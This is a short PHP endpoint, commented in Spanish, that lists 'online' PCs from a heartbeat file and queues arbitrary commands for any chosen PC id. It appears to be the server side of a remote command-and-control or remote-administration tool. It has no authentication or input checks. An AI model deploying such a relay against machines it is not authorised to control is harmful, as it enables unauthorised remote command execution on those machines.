<?php
header("Content-Type: application/json");

$action = $_GET['action'] ?? null;

// archivos
$pcsFile = "pcs.json";
$onFile = "on.dat";
$commandsFile = "commands.json";

// asegurar existencia
if (!file_exists($pcsFile)) file_put_contents($pcsFile, "{}");
if (!file_exists($commandsFile)) file_put_contents($commandsFile, "{}");

// -------------------------
// GET ONLINE PCS
// -------------------------
if ($action == "list") {

    $pcs = json_decode(file_get_contents($pcsFile), true);
    $online = [];

    if (file_exists($onFile)) {
        $lines = file($onFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

        foreach ($lines as $line) {
            list($id, $code, $time) = explode(",", $line);

            $online[] = [
                "id" => $id,
                "host" => $pcs[$id]["host"] ?? "Unknown",
                "last_seen" => $time
            ];
        }
    }

    echo json_encode($online);
    exit;
}

// -------------------------
// SEND COMMAND
// -------------------------
if ($action == "send") {

    $data = json_decode(file_get_contents("php://input"), true);

    $id = $data["id"];
    $cmd = $data["cmd"];

    $commands = json_decode(file_get_contents($commandsFile), true);

    if (!isset($commands[$id])) {
        $commands[$id] = [];
    }

    $cmd_id = uniqid();

    $commands[$id][] = [
        "id" => $cmd_id,
        "cmd" => $cmd
    ];

    file_put_contents($commandsFile, json_encode($commands, JSON_PRETTY_PRINT), LOCK_EX);

    echo json_encode(["status" => "ok"]);
    exit;
}

echo json_encode(["error" => "invalid action"]);